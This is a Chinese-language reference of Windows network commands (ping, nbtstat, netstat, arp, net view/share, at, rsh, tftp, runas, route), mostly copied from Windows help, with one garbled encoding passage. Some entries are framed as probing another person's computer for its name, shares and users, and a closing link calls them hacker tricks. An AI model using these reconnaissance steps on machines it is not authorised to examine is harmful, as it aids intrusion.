网络经典命令行

1.最基本，最常用的，测试物理网络的 ping 192.168.10.88 －t ，参数－t是等待用户去中断测试 2.查看DNS、IP、Mac等 A.Win98：winipcfg B.Win2000以上：Ipconfig/all C.NSLOOKUP：如查看河北的DNS C:\>nslookup Default Server: ns.hesjptt.net.cn Address: 202.99.160.68 >server 202.99.41.2 则将DNS改为了41.2 > pop.pcpop.com Server: ns.hesjptt.net.cn Address: 202.99.160.68 Non-authoritative answer: Name: pop.pcpop.com Address: 202.99.160.212 3.网络信使 Net send 计算机名/IP|* (广播) 传送内容，注意不能跨网段 net stop messenger 停止信使服务，也可以在面板－服务修改 net start messenger 开始信使服务 4.探测对方对方计算机名，所在的组、域及当前用户名 ping －a IP －t ，只显示NetBios名 nbtstat -a 192.168.10.146 比较全的 5.netstat -a 显示出你的计算机当前所开放的所有端口 netstat -s -e 比较详细的显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等 6.探测arp绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址 arp -a 7.在代理服务器端 捆绑IP和MAC地址，解决局域网内盗用IP： ARP －s 192.168.10.59 00－50－ff－6c－08－75 解除网卡的IP与MAC地址的绑定： arp -d 网卡IP 8.在网络邻居上隐藏你的计算机 net config server /hidden:yes net config server /hidden:no 则为开启 9.几个net命令 A.显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。 比如：查看这个IP上的共享资源，就可以 C:\>net view 192.168.10.8 在 192.168.10.8 的共享资源 资源共享名 类型 用途 注释 ————————————– 网站服务 Disk 命令成功完成。 B.查看计算机上的用户帐号列表 net user C.查看网络链接 net use 例如：net use z: \\192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘 D.记录链接 net session 例如： C:\>net session 计算机 用户名 客户类型 打开空闲时间 ——————————————————————————- \\192.168.10.110 ROME Windows 2000 2195 0 00:03:12 \\192.168.10.51 ROME Windows 2000 2195 0 00:00:39 命令成功完成。 10.路由跟踪命令 A.tracert pop.pcpop.com B.pathping pop.pcpop.com 除了显示路由外，还提供325S的分析，计算丢失包的％ 11.关于共享安全的几个命令 A.查看你机器的共享资源 net share B.手工删除共享 net share c$ /d net share d$ /d net share ipc$ /d net share admin$ /d 注意$后有空格。 C.增加一个共享： c:\net share mymovie=e:\downloads\movie /users:1 mymovie 共享成功。 同时限制链接用户数为1人。 12.在DOS行下设置静态IP A.设置静态IP CMD netsh netsh>int interface>ip interface ip>set add “本地链接” static IP地址 mask gateway B.查看IP设置 interface ip>show address Arp 显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表，它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用，则 arp 命令将显示帮助信息。 语法 arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr] 参数 -a [InetAddr] [-N IfaceAddr] 显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项，请使用带有 InetAddr 参数的 arp -a，此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表，请使用 -N IfaceAddr 参数，此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。 -g [InetAddr] [-N IfaceAddr] 与 -a 相同。 -d InetAddr [IfaceAddr] 删除指定的 IP 地址项，此处的 InetAddr 代表 IP 地址。对于指定的接口，要删除表中的某项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项，请使用星号 通配符代替 InetAddr。 -s InetAddr EtherAddr [IfaceAddr] 向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。 /? 在命令提示符显示帮助。 注释 InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。 物理地址 EtherAddr 由六个字节组成，这些字节用十六进制记数法表示并且用连字符隔开（比如，00-AA-00-4F-2A-9C）。 通过 -s 参数添加的项属于静态项，它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动，这些项会被删除。要创建永久的静态 ARP 缓存项，请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 范例 要显示所有接口的 ARP 缓存表，可键入： arp -a 对于指派的 IP 地址为 10.0.0.99 的接口，要显示其 ARP 缓存表，可键入： arp -a -N 10.0.0.99 要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项，可键入： arp -s 10.0.0.80 00-AA-00-4F-2A-9C At 计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用，则 at 列出已计划的命令。 语法 at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}] at [\\ComputerName] hours:minutes [/interactive] [{/everyate[,…]|/nextate[,…]}] command] 参数 \\computername 指定远程计算机。如果省略该参数，则 at 计划本地计算机上的命令和程序。 ID 指定指派给已计划命令的识别码。 /delete 取消已计划的命令。如果省略了 ID，则计算机中所有已计划的命令将被取消。 /yes 删除已计划的事件时，对来自系统的所有询问都回答“是”。 hours:minutes 指定命令运行的时间。该时间用 24 小时制（即从 00:00 [午夜] 到 23:59）的 小时: 分钟格式表示。 /interactive 对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。 /every: 在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行 command 命令。 date 指定运行命令的日期。可以指定一周的某日或多日（即，键入 M、T、W、Th、F、S、Su）或一个?械哪橙栈蚨嗳眨矗氪?1 到31 之间的数字）。用逗号分隔多个日期项。如果省略了 date，则 at 使用该月的当前日。 /next: 在下一个指定日期（比如，下一个星期四）到来时运行 command。 command 指定要运行的 Windows 命令、程序（.exe 或 .com 文件）或批处理程序（.bat 或 .cmd 文件）。当命令需要路径作为参数时，请使用绝对路径，也就是从驱动器号开始的整个路径。如果命令在远程计算机上，请指定服务器和共享名的通用命名协定 (UNC) 符号，而不是远程驱动器号。 /? 在命令提示符显示帮助。 注释 Schtasks 是功能更为强大的超集命令行计划工具，它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务，都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息，请参阅“相关主题”。 使用 at 使用 at 命令时，要求您必须是本地 Administrators 组的成员。 加载 Cmd.exe 在运行命令之前，At 不会自动加载 Cmd.exe （命令解释器）。如果没有运行可执行文件 (.exe)，则在命令开头必须使用如下所示的方法专门加载 Cmd.exe： cmd /c dir > c:\test.out。 查看已计划的命令 当不带命令行选项使用 at 时，计划任务会出现在类似于以下格式的表中： Status ID Day Time Command Line OK 1 Each F 4:30 PM net send group leads status due OK 2 Each M 12:00 AM chkstor > check.file OK 3 Each F 11:59 PM backup2.bat 包含标识号 (ID) 当在命令提示下使用带有标识号 (ID) 的 at 命令时，单个任务项的信息会显示在类似于下面的格式中： Task ID： 1 Status:OK Schedule:Each F Time of Day:4:30 PM Command:net send group leads status due当计划带有 at 的命令（尤其是带有命令行选项的命令）后，要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确，请删除该命令，然后重新键入它。如果还不正确，则可以在重新键入该命令时让它少带些命令行选项。 查看结果 使用 at 的已经计划的命令作为后台程序运行。运行结果不会显示在计算机上。要将输出重定向到文件，请使用重定向符号 (>。如果将输出重定向到文件，则不论是在命令行还是在批处理文件中使用 at，都需要在重定向符号之前使用转义符 。例如，要重定向输出到 Output.text 文件，则要键入： at 14:45 c:\test.bat ^>c:\output.txt 执行命令的当前目录为 systemroot 文件夹。 更改系统时间 在使用 at 命令计划了要运行的命令之后，如果更改了计算机的系统时间，则通过键入不带命令行选项的 at 可使 at 计划程序与修改后的系统时间同步。 存储命令 已计划的命令存储在注册表中。这样，如果重新启动“计划”服务，则不会丢失计划任务。 连接到网络驱动器 对于需要访问网络的计划作业，请不要使用已重新定向的驱动器。“计划”服务可能无法访问这些重定向的驱动器，或者，在该计划任务运行时如果有其他用户登录，则这些重定向的驱动器可能不会出现。因此，对于计划作业，请使用 UNC 路径。例如： at 1:00pm my_backup \\server\share 请不要使用下述语法（其中 x: ?表示由用户建立的连接）： at 1:00pm my_backup x: 如果计划了一个使用驱动器号的 at 命令来连接共享目录，则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接，则在命令提示下，所指派的驱动器号将不可用。 范例 要显示 Marketing 服务器上已计划的命令列表，请键入： at \\marketing 要了解服务器 Corp 上标识号为 3 的命令的详细信息，请键入： at \\corp 3 要计划在上午 8:00 于 Corp 服务器上运行网络共享命令，并将该列表重定向到 Maintenance 服务器的 Corp.txt 文件（位于 Reports 共享目录下）中，请键入： at \\corp 08:00 cmd /c “net share reports=d:\marketing\reports >> \\maintenance\reports\corp.txt” 为了在每五天后的午夜将 Marketing 服务器的硬盘驱动器备份到磁带驱动器，首先创建名为 Archive.cmd 的批处理程序（它含有备份命令），然后计划该批处理程序的运行，为此请键入： at \\marketing 00:00 /every:5,10,15,20,25,30 archive 要取消当前服务器上已计划的所有命令，请按下述方法清除 at 计划信息： at /delete 如果要运行的命令不是可执行 (.exe) 文件，请按如下所示的方法在该命令之前使用 cmd /c 来加载 Cmd.exe： cmd /c dir > c:\test.out。 Rsh 在运行 RSH 服务的远程计算机上运行命令。Windows XP 和 Windows 2000 不提供 RSH 服务。Windows 2000 Server Resource Kit 提供名为 Rshsvc.exe 的 RSH 服务。使用不带参数的 rsh 显示帮助。 语法 rsh [Host] [-l UserName] [-n] [Command] 参数 Host 指定运行 command 的远程计算机。 -l UserName 指定远程计算机上使用的用户名。在省略情况下，使用当前登录用户的名称。 -n 将 rsh 的输入重定向到 NULL 设备。这防止本地计算机命令结果的显示。 Command 指定要运行的命令。 /? 在命令提示符显示帮助。 注释 标准*作 rsh 命令将标准输入复制到远程 command，将远程 command 的标准输出复制到其标准输出，将远程 command 的标准错误复制到其标准错误。Rsh 通常在远程命令终止时终止。 使用重定向符号 为了使重定向在远程计算机上发生，要以引号引住重定向符号（例如 “>>”）。如果不使用引号，重定向会在本地计算机发生。例如，以下命令将远程文件“RemoteFile”附加到本地文件“LocalFile”中： rsh othercomputer cat remotefile >> localfile 以下命令将远程文件 Remotefile 附加到远程文件 otherremotefile 中： rsh othercomputer cat remotefile “>>” otherremotefile 使用 rsh 在使用已登录到某个域并且运行 Windows XP Professional 的计算机时，该域的主域控制器必须可用于确认用户名或 rsh 命令失败。 .rhosts 文件 .rhosts 文件通常许可 UNIX 系统的网络访问权限。.rhosts 文件列出可以访问远程计算机的计算机名及关联的登录名。在正确配置了 .rhosts 文件的远程计算机上运行 rcp、rexec 或 rsh 命令时，您不必提供远程计算机的登录和密码信息。 .rhosts 文件是一个文本文件，该文件中每一行为一个条目。条目由本地计算机名、本地用户名和有关该条目的所有注释组成。每个条目均由制表符或空格分开，注释用符号 (#) 打头。例如： host7 #This computer is in room 31A .rhosts 文件必须在远程计算机的用户主目录中。有关远程计算机 .rhosts 文件特定执行的详细信息，请参阅远程系统的文档。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 范例 要以名称 admin1 在远程计算机 vax1 上执行 telcon 命令，请键入： rsh vax1 -l admin1 telcon Tftp 向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机（尤其是运行 UNIX 的计算机）传输文件或从运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机（尤其是运行 UNIX 的计算机）传输文件。 语法 tftp [-i] [Host] [{get | put}] [Source] [Destination] 参数 -i 指定二进制图像传送模式（也称为八进制模式）。在二进制图像模式下，文件以一个字节为单位进行传输。在传送二进制文件时使用该模式。如果省略了 -i，文件将以 ASCII 模式传送。这是默认的传送模式。该模式将行尾 (EOL) 字符转换为指定计算机的适当格式。传送文本文件时使用该模式。如果文件传送成功，将显示数据传输率。 Host 指定本地或远程计算机。 put 将本地计算机上的 Destination 文件传送到远程计算机上的 Source 文件。因为 TFTP 协议不支持用户身份验证，所以用户必须登录到远程计算机，同时文件在远程计算机上必须可写。 get 将远程计算机上的 Destination 文件传送到本地计算机上的 Source 文件。 Source 指定要传送的文件。 Destination 指定将文件传送到的位置。如果省略了 Destination，将假定它与 Source 同名。 /? 在命令提示符显示帮助。 注释 使用 get 参数 如果将本地计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne，则指定 put。如果将远程计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne，则指定 get。 Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服务器。Windows 2000 提供的 TFTP 服务器服务只为 Windows XP 和 Windows 2000 客户端计算机提供远程引导功能。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 范例 要从本地计算机将文件 Users.txt 传送到远程计算机 vax1 上的 Users19.txt，请键入： tftp vax1 put users.txt users19.txt Nbtstat 显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。 语法 nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval] 参数 -a remotename 显示远程计算机的 NetBIOS 名称表，其中，RemoteName 是远程计算机的 NetBIOS 计算机名称。NetBIOS 名称表是运行在该计算机上的应用程序使用的 NetBIOS 名称列表。 -A IPAddress 显示远程计算机的 NetBIOS 名称表，其名称由远程计算机的 IP 地址指定（以小数点分隔）。 -c 显示 NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。 -n 显示本地计算机的 NetBIOS 名称表。Registered 中的状态表明该名称是通过广播或 WINS 服务器注册的。 -r 显示 NetBIOS 名称解析统计资料。在配置为使用 WINS 的 Windows XP 计算机上，该参数将返回已通过广播和 WINS 解析和注册的名称号码。 -R 清除 NetBIOS 名称缓存的内容并从 Lmhosts 文件中重新加载带有 #PRE 标记的项目。 -RR 重新释放并刷新通过 WINS 注册的本地计算机的 NetBIOS 名称。 -s 显示 NetBIOS 客户和服务器会话，并试图将目标 IP 地址转化为名称。 -S 显示 NetBIOS 客户和服务器会话，只通过 IP 地址列出远程计算机。 Interval 重新显示选择的统计资料，可以中断每个显示之间的 Interval 中指定的秒数。按 CTRL+C 停止重新显示统计信息。如果省略该参数， netstat 将只显示一次当前的配置信息。 /? 在命令提示符显示帮助。 注释 Nbtstat 命令行参数区分大小写。 下表列出了由 Nbtstat 生成的列标题。 标题 说明 Input 接收的字节数。 Output 发送的字节数。 In/Out 该连接是否从计算机（传出）或者其他计算机到本地计算机（传入）。 Lift 名称表缓存项在被清除之前所存留的时间。 Local Name 本地 NetBIOS 名称与连接相关联。 Remote Host 与远程计算机相关的名称或 IP 地址。 <03> 转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16 个字符。由于最后一个字节通常有特殊的意义，因为相同的名称（只有最后一个字节不同）可能在一台计算机上出现几次。例如，<20> 在 ASCII 文本中是一个空格。 Type 名称类型。名称可以是单个名称，也可以是组名称。 Status 远程计算机上是否在运行 NetBIOS 服务（“已注册”），或同一计算机名是否已注册了相同的服务（“冲突”）。 State NetBIOS 连接的状态。 下表列出了可能的 NetBIOS 连接状态。 状态 说明 已连接 会话已建立。 关联 连接的终结点已经被创建并与 IP 地址关联。 正接听 该终结点对内向连接可用。 空闲 该结束点已被打开单不能接收连接。 正在连接 会话处于连接阶段。在此阶段正在解析所选目标的由名称到 IP 地址的映射。 接受 入站会话当前正在被接受，将在短期内连接。 重新连接 会话将试图重新连接（如果第一次连接失败）。 出站 会话正处于连接阶段。此阶段正在创建 TCP 连接。 入站 入站会话在连接期。 正在断开 会话正在断开连接。 已中断连接 本地计算机已断开连接，并正等待远程系统的确认。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 范例 要显示 NetBIOS 计算机名为 CORP07 的远程计算机的 NetBIOS 名称表，请键入： nbtstat -a CORP07 要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表，请键入： nbtstat -A 10.0.0.99 要显示本地计算机的 NetBIOS 名称表，请键入： nbtstat -n 要显示本地计算机 NetBIOS 名称缓存的内容，请键入： nbtstat -c 要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目，请键入： nbtstat -R 要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册，请键入： nbtstat -RR 要每隔 5 秒以 IP 地址显示 NetBIOS 会话统计资料，请键入： nbtstat -S 5 Netstat 显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息（对于 IP、ICMP、TCP 和 UDP 协议）以及 IPv6 统计信息（对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议）。使用时如果不带参数，netstat 显示活动的 TCP 连接。 语法 netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval] 参数 -a 显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。 -e 显示以太网统计信息，如发送和接收的字节数、数据包数。该参数可以与 -s 结合使用。 -n 显示活动的 TCP 连接，不过，只以数字形式表现地址和端口号，却不尝试确定名称。 -o 显示活动的 TCP 连接并包括每个连接的进程 ID (PID)。可以在 Windows 任务管理器中的“进程”选项卡上找到基于 PID 的应用程序。该参数可以与 -a、-n 和 -p 结合使用。 -p Protocol 显示 Protocol 所指定的协议的连接。在这种情况下，Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果该参数与 -s 一起使用按协议显示统计信息，则 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。 -s 按协议显示统计信息。默认情况下，显示 TCP、UDP、ICMP 和 IP 协议的统计信息。如果安装了 Windows XP 的 IPv6 协议，就会显示有关 IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 协议的统计信息。可以使用 -p 参数指定协议集。 -r 显示 IP 路由表的内容。该参数与 route print 命令等价。 Interval 每隔 Interval 秒重新显示一次选定的信息。按 CTRL+C 停止重新显示统计信息。如果省略该参数，netstat 将只打印一次选定的信息。 /? 在命令提示符显示帮助。 注释 与该命令一起使用的参数必须以连字符 (-) 而不是以短斜线 (/) 作为前缀。 Netstat 提供下列统计信息： Proto 协议的名称（TCP 或 UDP）。 Local Address 本地计算机的 IP 地址和正在使用的端口号。如果不指定 -n 参数，就显示与 IP 地址和端口的名称对应的本地计算机名称。如果端口尚未建立，端口以星号（*）显示。 Foreign Address 连接该插槽的远程计算机的 IP 地址和端口号码。如果不指定 -n 参数，就显示与 IP 地址和端口对应的名称。如果端口尚未建立，端口以星号（*）显示。 (state) 表明 TCP 连接的状态。可能的状态如下： CLOSE_WAIT CLOSED ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 LAST_ACK LISTEN SYN_RECEIVED SYN_SEND TIMED_WAIT 有关 TCP 连接状态的信息，请参阅 RFC 793。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 范例 要想显示以太网统计信息和所有协议的统计信息，请键入下列命令： netstat -e -s 要想仅显示 TCP 和 UDP 协议的统计信息，请键入下列命令： netstat -s -p tcp udp 要想每 5 秒钟显示一次活动的 TCP 连接和进程 ID，请键入下列命令： nbtstat -o 5 要想以数字形式显示活动的 TCP 连接和进程 ID，请键入下列命令： nbtstat -n –o Runas 允许用户用其他权限运行指定的工具和程序，而不是用户当前登录提供的权限。 语法 runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program 参数 /profile 加载用户的配置文件。/profile 是默认值。 /no profile /noprofile 指定不加载用户的配置文件。这使应用程序载入的更加快速，但是在一些应用程序中也会引起错误。 /env 指定当前使用的网络环境，而不是用户的本地环境。 /netonly 指明指定的用户信息只用于远程访问。 /smartcard /smartcard 表示凭据是否是由智能卡提供的。 /showtrustlevels 列出 /trustlevel 开关项。 /trustlevel 指定应用程序运行所在的授权级别。使用 /showtrustlevels 查看可用的信任级别。 /user:UserAccountName 指定在其下运行程序的用户帐户的名称。用户帐户的格式应是 user@domain 或 domain\user。 程序 指定要用在 /user 中指定的帐户运行的程序或命令。 /? 在命令提示符显示帮助。 注释 管理员可以使用一个权限受限制的帐户执行日常、非管理性的任务，只有在执行特定管理任务时，才使用一个权限更大的帐户。要不经过注销再重新登录就完成这样的任务，可以用一般帐户登录，然后使用 runas 命令来运行需要更大权限的工具。 有关 runas 命令的使用范例，请参阅“相关主题”。 尽管 runas 通常由 Administrator 帐户使用，但并非仅限于 Administrator 帐户。任何拥有多个帐户的用户均可以利用备用凭据，使用 runas 运行程序、MMC 控制台或“控制面板”项。 如果要在计算机上使用 Administrator 帐户，对于 /user:，键入下列参数之一： /user:AdministratorAccountName@ComputerName /user:ComputerName\AdministratorAccountName 如果想以域管理员身份使用这个命令，键入下列参数之一： /user:AdministratorAccountName@DomainName /useromainName\AdministratorAccountName runas 命令允许您运行程序 (*.exe)、保存的 MMC 控制台 (*.msc)、程序和保存的 MMC 控制台的快捷方式及“控制面板”项。作为另一组（例如“Users”或“Power Users”组）的成员登录到计算机时，可以以管理员的身份运行。 可以使用 runas 命令来启动任何程序、MMC 控制器或“控制面板”项。只要提供适当的用户帐户和密码信息，用户帐户就具有登录到计算机的能力，并且程序、MMC 控制台、“控制面板”项在系统中及对该用户帐户均可用. runas 命令允许您管理其他域的服务器（运行工具的计算机和要管理的服务器在不同的域中）。 如果尝试使用 runas 从网络位置启动程序、MMC 控制台或“控制面板”项，可能会因为用来连接网络共享的凭据与用来启动程序的凭据不同而失败。后者的凭据可能无法访问同一网络共享。 有些项，例如“打印机”文件夹和桌面项，间接由 Windows 2000 打开，而不能使用 runas 命令启动。 如果 runas 命令失败，则可能是没有运行 RunAs 服务或使用的用户帐户无效。要检查 RunAs 服务的状态，请在“计算机管理”中单击“服务和应用程序”，然后单击“服务”。要测试用户帐户，请尝试使用该帐户登录合适的域。 范例 要在本地计算机上以管理员身份启动 Windows 2000 命令提示行实例，请键入： runas /user:localmachinename\administrator cmd 系统提示时，键入管理员密码。 要使用名为 companydomain\domainadmin 的域管理员帐户启动“计算机管理”管理单元实例，请键入： runas /user:companydomain\domainadmin “mmc %windir%\system32\compmgmt.msc” 当提示时，键入帐户密码。 要使用名为 domain.microsoft.com 的域中的域管理员帐户 user 启动“记事本”实例，请键入： runas /user:user@domain.microsoft.com “notepad my_file.txt” 当提示时，键入帐户密码。 要启动命令提示符行窗口、保存的 MMC 控制台、控制面板项或管理其他地点服务器的程序的一个实例，请键入： runas /netonly /useromain\username “command” domain\username 必须是有足够权限管理服务器的用户。当提示时，键入帐户密码。 Route 在本地 IP 路由表中显示和修改条目。使用不带参数的 route 可以显示帮助。 语法 route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric] [if Interface] 参数 -f 清除所有不是主路由（网掩码为 255.255.255.255 的路由）、环回网络路由（目标为 127.0.0.0，网掩码为 255.255.255.0 的路由）或多播路由（目标为 224.0.0.0，网掩码为 240.0.0.0 的路由）的条目的路由表。如果它与命令之一（例如 add、change 或 delete）结合使用，表会在运行命令之前清除。 -p 与 add 命令共同使用时，指定路由被添加到注册表并在启动 TCP/IP 协议的时候初始化 IP 路由表。默认情况下，启动 TCP/IP 协议时不会保存添加的路由。与 print 命令一起使用时，则显示永久路由列表。所有其它的命令都忽略此参数。永久路由存储在注册表中的位置是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes。 Command 指定要运行的命令。下表列出了有效的命令。 命令 目的 add 添加路由 change 更改现存路由 delete 删除路由 print 打印路由 Destination 指定路由的网络目标地址。目标地址可以是一个 IP 网络地址（其中网络地址的主机地址位设置为 0），对于主机路由是 IP 地址，对于默认路由是 0.0.0.0。 mask subnetmask 指定与网络目标地址相关联的网掩码（又称之为子网掩码）。子网掩码对于 IP 网络地址可以是一适当的子网掩码，对于主机路由是 255.255.255.255 ，对于默认路由是 0.0.0.0。如果忽略，则使用子网掩码 255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系，目标地址不能比它对应的子网掩码更为详细。换句话说，如果子网掩码的一位是 0，则目标地址中的对应位就不能设置为 1。 Gateway 指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点 IP 地址。对于本地连接的子网路由，网关地址是分配给连接子网接口的 IP 地址。对于要经过一个或多个路由器才可用到的远程路由，网关地址是一个分配给相邻路由器的、可直接达到的 IP 地址。 metric Metric 为路由指定所需跃点数的整数值（范围是 1 ~ 9999），它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。 if Interface 指定目标可以到达的接口的接口索引。使用 route print 命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值，要在十六进制数的前面加上 0x。忽略 if 参数时，接口由网关地址确定。 /? 在命令提示符显示帮助。 注释 路由表中 跃点数 一列的值较大是由于允许 TCP/IP 根据每个 LAN 接口的 IP 地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度，调整了每个接口的路由跃点数，因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数，请在每个 LAN 连接的 TCP/IP 协议的高级属性中禁用自动确定接口跃点数。 如果在 systemroot\System32\Drivers\Etc 文件夹的本地网络文件中存在适当的条目，名称可以用于 Destination。只要名称可以通过“域名系统” (DNS) 查询这样的标准主机名解析技术分解为 IP 地址，就可以将其用于 Gateway，DNS 查询使用存储在 systemroot\System32\Drivers\Etc 文件夹下的本地主机文件和 NetBIOS 名称解析。 如果是 print 或 delete 命令，可以忽略 Gateway 参数，使用通配符来表示目标和网关。Destination 的值可以是由星号 指定的通配符。如果指定目标含有一个星号 或问号 (?)，它被看作是通配符，只打印或删除匹配的目标路由。星号代表任意一字符序列，问号代表任一字符。例如， 10.*.1, 192.168.*、 127.* 和 *224* 都是星号通配符的有效使用。 使用了无效的目标和子网掩码（网掩码）值的组合，会显示“Route:bad gateway address netmask”错误消息。目标中有一位或多位设置为 1，而其在子网掩码中的对应位设置为 0 时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的 1 和表示目标主机地址部分的一连串的 0 两个部分。查看目标以确定目标的主机地址部分（由子网掩码所定义）是否有些位设置成了 1。 只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 参数。Windows 95 或 Windows 98 的 route 命令不支持该参数。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 范例 要显示 IP 路由表的完整内容，请键入： route print 要显示 IP 路由表中以 10. 开始的路由，请键入： route print 10.* 要添加默认网关地址为 192.168.12.1 的默认路由，请键入： route add 0.0.0.0 mask 0.0.0.0 192.168.12.1 要添加目标为 10.41.0.0，子网掩码为 255.255.0.0，下一个跃点地址为 10.27.0.1 的路由，请键入： route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 要添加目标为 10.41.0.0，子网掩码为 255.255.0.0，下一个跃点地址为 10.27.0.1 的永久路由，请键入： route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1 要添加目标为 10.41.0.0，子网掩码为 255.255.0.0，下一个跃点地址为 10.27.0.1，跃点数为 7 的路由，请键入： route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7 要添加目标为 10.41.0.0，子网掩码为 255.255.0.0，下一个跃点地址为 10.27.0.1，接口索引为 0×3 的路由，请键入： route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0×3 要删除目标为 10.41.0.0，子网掩码为 255.255.0.0 的路由，请键入： route delete 10.41.0.0 mask 255.255.0.0 要删除 IP 路由表中以 10. 开始的所有路由，请键入： route delete 10.* 要将目标为 10.41.0.0，子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25，请键入： route change 10.41.0.0 mask 255.255.0.0 10.27.0.25 怎样在windowsserver的cmd下更改ip地址■■■ -> Windows 2k/2003 Server 在命令行下更改ip地址

做一个厚道的小黑客 之九大贴身秘技

